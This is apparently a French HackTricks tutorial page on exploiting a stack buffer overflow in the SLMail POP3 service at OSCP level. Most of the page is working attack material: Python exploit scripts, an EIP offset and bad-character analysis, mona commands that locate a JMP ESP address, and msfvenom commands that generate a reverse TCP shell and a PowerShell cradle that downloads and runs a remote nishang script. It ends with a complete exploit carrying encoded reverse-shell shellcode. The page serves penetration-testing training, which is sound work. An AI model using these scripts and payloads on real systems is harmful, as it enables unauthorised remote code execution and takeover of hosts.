hacktricks/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
2023-06-03 13:10:46 +00:00

12 KiB

Exploitation Windows (Guide de base - Niveau OSCP)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Commencez par installer le service SLMail

Redémarrer le service SLMail

Chaque fois que vous devez redémarrer le service SLMail, vous pouvez le faire en utilisant la console Windows :

net start slmail

Modèle d'exploit Python très basique

#!/usr/bin/env python
import socket

RHOST = "192.168.0.5"
RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A" * 1024

s.send(buf)
s.close()
#!/usr/bin/env python
import socket

RHOST = "192.168.0.5"
RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A" * 1024

s.send(buf)
s.close()

Ce modèle d'exploit Python très basique crée une connexion à une adresse IP et un port spécifiques, puis envoie une charge utile de 1024 octets remplis de la lettre "A". Ce modèle peut être utilisé comme point de départ pour développer des exploits plus avancés.

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
    print "\nLaunching exploit..."
    s.connect((ip, port))
    data = s.recv(1024)
    s.send('USER username' +'\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    print "\nFinished!."
except:
    print "Could not connect to "+ip+":"+port

Changer la police d'Immunity Debugger

Allez dans Options >> Apparence >> Polices >> Changer (Consolas, Gras, 9) >> OK

Attacher le processus à Immunity Debugger:

Fichier --> Attacher

Et appuyez sur le bouton DÉMARRER

Envoyer l'exploit et vérifier si EIP est affecté:

Chaque fois que vous interrompez le service, vous devez le redémarrer comme indiqué au début de cette page.

Créer un modèle pour modifier EIP

Le modèle doit être aussi grand que le tampon que vous avez utilisé pour interrompre le service précédemment.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Modifiez le tampon de l'exploit et définissez le modèle, puis lancez l'exploit.

Un nouveau crash devrait apparaître, mais avec une adresse EIP différente :

Vérifiez si l'adresse était dans votre modèle :

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Il semble que nous puissions modifier l'EIP à l'offset 2606 du tampon.

Vérifiez-le en modifiant le tampon de l'exploit :

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Avec ce tampon, l'EIP qui a planté devrait pointer vers 42424242 ("BBBB")

On dirait que ça fonctionne.

Vérifier l'espace pour le shellcode dans la pile

600B devrait être suffisant pour tout shellcode puissant.

Modifions le tampon :

buffer = 'A'*2606 + 'BBBB' + 'C'*600

Lancer la nouvelle exploitation et vérifier l'EBP et la longueur du shellcode utile

Vous pouvez voir que lorsque la vulnérabilité est atteinte, l'EBP pointe vers le shellcode et que nous avons beaucoup d'espace pour localiser un shellcode ici.

Dans ce cas, nous avons de 0x0209A128 à 0x0209A2D6 = 430B. Suffisant.

Vérifier les mauvais caractères

Changer à nouveau le tampon :

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

Les mauvais caractères commencent à 0x01 car 0x00 est presque toujours mauvais.

Exécutez plusieurs fois l'exploit avec ce nouveau tampon en supprimant les caractères qui sont jugés inutiles :

Par exemple :

Dans ce cas, vous pouvez voir que vous ne devez pas utiliser le caractère 0x0A (rien n'est enregistré en mémoire depuis le caractère 0x09).

Dans ce cas, vous pouvez voir que le caractère 0x0D est évité :

Trouver un JMP ESP comme adresse de retour

En utilisant :

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Vous allez lister les cartes mémoire. Recherchez une DLL qui a:

  • Rebase: False
  • SafeSEH: False
  • ASLR: False
  • NXCompat: False
  • OS Dll: True

Maintenant, à l'intérieur de cette mémoire, vous devriez trouver quelques octets JMP ESP, pour cela, exécutez:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Ensuite, si une adresse est trouvée, choisissez-en une qui ne contient pas de mauvais caractères:

Dans ce cas, par exemple: _0x5f4a358f_

Créer un shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Si l'exploit ne fonctionne pas mais qu'il devrait (vous pouvez voir avec ImDebg que le shellcode est atteint), essayez de créer d'autres shellcodes (msfvenom peut créer différents shellcodes pour les mêmes paramètres).

Ajoutez quelques NOPS au début du shellcode et utilisez-le ainsi que l'adresse de retour pour JMP ESP, et terminez l'exploit:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
    print "\nLaunching exploit..."
    s.connect((ip, port))
    data = s.recv(1024)
    s.send('USER username' +'\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    print "\nFinished!."
except:
    print "Could not connect to "+ip+":"+port

{% hint style="warning" %} Il existe des shellcodes qui s'écrasent eux-mêmes, il est donc important d'ajouter toujours quelques NOPs avant le shellcode. {% endhint %}

Amélioration du shellcode

Ajoutez ces paramètres :

EXITFUNC=thread -e x86/shikata_ga_nai
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥